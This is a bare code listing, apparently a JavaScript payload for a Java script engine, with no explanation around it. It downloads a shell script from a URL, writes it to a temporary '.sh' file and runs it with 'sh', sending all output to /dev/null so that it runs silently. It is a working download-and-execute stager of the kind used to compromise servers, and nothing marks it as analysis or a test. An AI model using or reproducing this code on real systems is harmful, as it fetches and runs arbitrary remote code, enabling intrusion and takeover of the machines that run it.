1.  
  2. var is = new java.net.URL(url).openStream();
  3. var ba = new java.io.ByteArrayOutputStream();
  4. var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
  5. var n = 0;
  6. while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
  7. is.close();
  8.  
  9. var script = new java.lang.String(ba.toByteArray(), "UTF-8");
  10.  
  11. var f = java.io.File.createTempFile("flk", ".sh");
  12. var w = new java.io.FileWriter(f);
  13. w.write(script);
  14. w.close();
  15.  
  16. var pb = new java.lang.ProcessBuilder();
  17. pb.command().add("sh");
  18. pb.command().add("-s");
  19. pb.command().add("--");
  20. pb.command().add("ALNK");
  21. pb.redirectInput(new java.io.File(f.getAbsolutePath()));
  22. pb.redirectOutput(new java.io.File("/dev/null"));
  23. pb.redirectErrorStream(true);
  24. pb.start();